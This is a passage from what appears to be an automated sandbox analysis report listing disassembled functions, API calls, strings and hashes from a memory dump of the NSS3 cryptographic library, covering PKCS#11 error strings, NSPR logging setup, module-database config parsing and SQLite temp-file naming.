Function 6CF95E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF95B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE7DF9B), ref: 6CF95B9E
Part of subcall function 6CF95B90: PR_Unlock.NSS3 ref: 6CF95BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF95E23,6CE7E154), ref: 6CF95EBF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 28acd78b225c89b5cfbc25fa73fa90840ea2de7625ac43d1c575f54a905bd737
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 82518C72E0021A8FDF18CF59C8816AEF7B2FF98314B19866DD816B7755D730A941CBA0

Function 6CF4DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf632f09c60f5f83f556546fe6c3fa29ee1b969137679dfee093f8a8a9cc6fd
Instruction ID: b1416e58b3dfa3b2ec2861a0abd19ed3c1b241553328e5370860adfd64f588e1
Opcode Fuzzy Hash: 7bf632f09c60f5f83f556546fe6c3fa29ee1b969137679dfee093f8a8a9cc6fd
Instruction Fuzzy Hash: 6BF16F71A01205CFDB48CF58C494BAABBB2BF89314F298168D8199F752CB35ED42CBD1

Function 6CEE1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1ddb8fff057461bb2d6c0c04a758d809a59d654506cc073f41bb95016bce81a3
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 6ED14A729046568BDB118F58C8843DA7773AB9E3A8F2D4328DC641B7C6C3769946C7D0

Function 6CE78EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc32137cdf1c3b0f6251d382855282fa25b4e6062054a8d836c436b95d20ff2
Instruction ID: 2f5a748b4edef03597203b63a639cf7ea87de31fb817b2d1b39ba94af208036f
Opcode Fuzzy Hash: 9cc32137cdf1c3b0f6251d382855282fa25b4e6062054a8d836c436b95d20ff2
Instruction Fuzzy Hash: A6110132A002098BD738DF24D888B5AB7B6FF4231CF24426AD8159FB41C375E882C7E1

Function 6CF50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a094d5443d418c41bffc9ebddcd85a5b2d7383baa426bd0a8acbab838447dab
Instruction ID: 2aec7cfd507ab7d5a781ea8481ed437aaa55f810a2289a408661148afca01d8d
Opcode Fuzzy Hash: 4a094d5443d418c41bffc9ebddcd85a5b2d7383baa426bd0a8acbab838447dab
Instruction Fuzzy Hash: C111C1757043459FCB00DF28C8C466A77B2FF86368F14806DD9198B701DB71E816CBA0

Function 6CEC3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 72064f31f6f738f720fd918165b65921d0cb4a22ce7086618069c8f3151a3395
Instruction ID: d5693cdb6a00cd961d5ff5d56a3d33cc3c2c6cf5db1ec0f6e7d90aae1b316627
Opcode Fuzzy Hash: 72064f31f6f738f720fd918165b65921d0cb4a22ce7086618069c8f3151a3395
Instruction Fuzzy Hash: 28F09A70E006598BCB40DF68C4802DEBBF4EF09244B108619EC89AB301EB30AA84C7C1

Function 6CF50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: cc5137115f28886eb4d38733c1962f3b024ab90a0bfa7d78a3d75bf3f212b8d9
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 74E06D3A202054A7DB148E09C450BAA7359DF9271DFE58879CE599BA01DA73F8138781

Function 6CE7CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd5868ed676be0b52d333d0a1b942a36cc0f7891b01f016925389cfa801e2780
Instruction ID: 18f80d815ad8cf53401913ff02d2a1ced06bb43b1fdf36bf5c131d7800333061
Opcode Fuzzy Hash: bd5868ed676be0b52d333d0a1b942a36cc0f7891b01f016925389cfa801e2780
Instruction Fuzzy Hash: C5C09238254708DFC784DF48E489EA43BFAFF0D61070400A8EA028B721DB31FD00CA80

Function 6CEB1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CEB1D46), ref: 6CEB2345

Strings

CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CEB22FF
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CEB2320
CKR_SAVED_STATE_INVALID, xrefs: 6CEB1E56
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CEB232E
rv = %s, xrefs: 6CEB2340
CKR_FUNCTION_REJECTED, xrefs: 6CEB2289
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CEB2275
CKR_OPERATION_ACTIVE, xrefs: 6CEB22B8
CKR_OK, xrefs: 6CEB1DFC
CKR_PIN_INCORRECT, xrefs: 6CEB1D92
CKR_WRAPPED_KEY_INVALID, xrefs: 6CEB1FB5
CKR_DEVICE_ERROR, xrefs: 6CEB229D
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CEB2327
CKR_NEXT_OTP, xrefs: 6CEB222F
CKR_PIN_EXPIRED, xrefs: 6CEB206B
CKR_MUTEX_NOT_LOCKED, xrefs: 6CEB2225
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CEB1F0F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CEB1DE0
CKR_PIN_LEN_RANGE, xrefs: 6CEB2061
CKR_RANDOM_NO_RNG, xrefs: 6CEB22A7
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CEB2179
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CEB2015
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CEB226B
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CEB204D
CKR_TOKEN_NOT_PRESENT, xrefs: 6CEB1F81
CKR_PIN_INVALID, xrefs: 6CEB2057
CKR_DEVICE_MEMORY, xrefs: 6CEB1FF3
CKR_BUFFER_TOO_SMALL, xrefs: 6CEB2183
CKR_DEVICE_REMOVED, xrefs: 6CEB2261
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CEB1EE1
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CEB1FD7
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CEB2293, 6CEB233F
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CEB1F95
CKR_FUNCTION_CANCELED, xrefs: 6CEB1E73
CKR_SIGNATURE_INVALID, xrefs: 6CEB20CF
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CEB227F
CKR_NEW_PIN_MODE, xrefs: 6CEB1E9F
CKR_PIN_LOCKED, xrefs: 6CEB2075
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CEB20D9
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CEB2319
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CEB218D
CKR_MUTEX_BAD, xrefs: 6CEB1F49
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CEB1F8B
CKR_STATE_UNSAVEABLE, xrefs: 6CEB2037
rv = 0x%x, xrefs: 6CEB2312
CKR_INFORMATION_SENSITIVE, xrefs: 6CEB22B1
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CEB1F77

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: ab3709e5bf0d57bb5e43a59fbd38a10f49d743ba963ef8dc11d2c32915f2a6f8
Instruction ID: 538d737369fbddcb149f1368c6f9e3de13422afd3d3233e26cccfaa4ae3f8c54
Opcode Fuzzy Hash: ab3709e5bf0d57bb5e43a59fbd38a10f49d743ba963ef8dc11d2c32915f2a6f8
Instruction Fuzzy Hash: AC61D720B4D047C6EA1C448C83AA37E2130AF67718F74C57BE591BFF91C6B9CA865693

Function 6CEE5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEE5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEE5E5C
free.MOZGLUE(00000000), ref: 6CEE5E7E
free.MOZGLUE(00000000), ref: 6CEE5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEE5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEE5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEE5EF0
free.MOZGLUE(00000000), ref: 6CEE5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEE5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEE5F5B
free.MOZGLUE(00000000), ref: 6CEE5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEE5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEE5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEE5FC4
free.MOZGLUE(00000000), ref: 6CEE5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE5FE9
free.MOZGLUE(00000000), ref: 6CEE5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEE600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEE605A
PR_smprintf.NSS3(6CFBAAF9,00000000), ref: 6CEE606A
free.MOZGLUE(00000000), ref: 6CEE607C
free.MOZGLUE(00000000), ref: 6CEE609A
free.MOZGLUE(00000000), ref: 6CEE60B2
free.MOZGLUE(?), ref: 6CEE60CE

Strings

pkcs11.txt, xrefs: 6CEE5F47, 6CEE5F7C, 6CEE603A, 6CEE6053
forceSecmodChoice, xrefs: 6CEE5F55
configDir=, xrefs: 6CEE5F9D
flags, xrefs: 6CEE5E3A, 6CEE5EC6, 6CEE5F30
noModDB, xrefs: 6CEE5EEA
%s/%s, xrefs: 6CEE6055
secmod.db, xrefs: 6CEE5EA0
readOnly, xrefs: 6CEE5E56
secmod=, xrefs: 6CEE5FB1

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 19409fe398660bfb9c90b820e4b9cefd98eb0831e29d8fd083215314ea13cefb
Instruction ID: 42cd8103600c0644db71934654d2cb2b07ece90f90144d6ce0d47e91cb6aa854
Opcode Fuzzy Hash: 19409fe398660bfb9c90b820e4b9cefd98eb0831e29d8fd083215314ea13cefb
Instruction Fuzzy Hash: 2791E4F4A052155BEB119B359C81BAA3BB89F0E3CCF280065ED55DBB42EB31D905C7A2

Function 6CE71D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE71DA3

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE71DB2

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE71DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE71E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE71EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE71ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE71EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE71F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE71F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE71F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE71F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE71F83
PR_SetLogFile.NSS3(00000000), ref: 6CE71FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE71FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE71FCB
free.MOZGLUE(00000000), ref: 6CE71FD2

Strings

append, xrefs: 6CE71EE6
all, xrefs: 6CE71F0E
sync, xrefs: 6CE71E46
bufsize, xrefs: 6CE71E9B
, %n, xrefs: 6CE71E6B
NSPR_LOG_FILE, xrefs: 6CE71F69
Unable to create nspr log file '%s', xrefs: 6CE71FB3
timestamp, xrefs: 6CE71EC4
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE71E27
NSPR_LOG_MODULES, xrefs: 6CE71DAD

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 88b8fdc947a5ab2428e11e63e034f319ebebf65a393610dd658f39915dccb761
Instruction ID: fde09cdd071604ac6306eec0a986f384d3ab9a9ad9136ab734a171d2442d3d70
Opcode Fuzzy Hash: 88b8fdc947a5ab2428e11e63e034f319ebebf65a393610dd658f39915dccb761
Instruction Fuzzy Hash: B35190B1E003099BDF10DBE5DD55B9E77B8AF0530DF280528E919EB605E771E908CB61

Function 6CF56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CE1BE66), ref: 6CF56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CE1BE66), ref: 6CF56E98
sqlite3_snprintf.NSS3(?,00000000,6CFBAAF9,?,?,?,?,?,?,6CE1BE66), ref: 6CF56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CE1BE66), ref: 6CF56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CE1BE66), ref: 6CF56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CE1BE66), ref: 6CF56FA6
sqlite3_snprintf.NSS3(?,00000000,6CFBAAF9,00000000,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF57014
sqlite3_free.NSS3(00000000,?,?,?,?,6CE1BE66), ref: 6CF5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CE1BE66), ref: 6CF57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CE1BE66), ref: 6CF57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CE1BE66), ref: 6CF570A0

Strings

winGetTempname4, xrefs: 6CF57046
winGetTempname5, xrefs: 6CF57071
mz_etilqs_, xrefs: 6CF56F18
winGetTempname2, xrefs: 6CF570C4
winGetTempname1, xrefs: 6CF5708F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
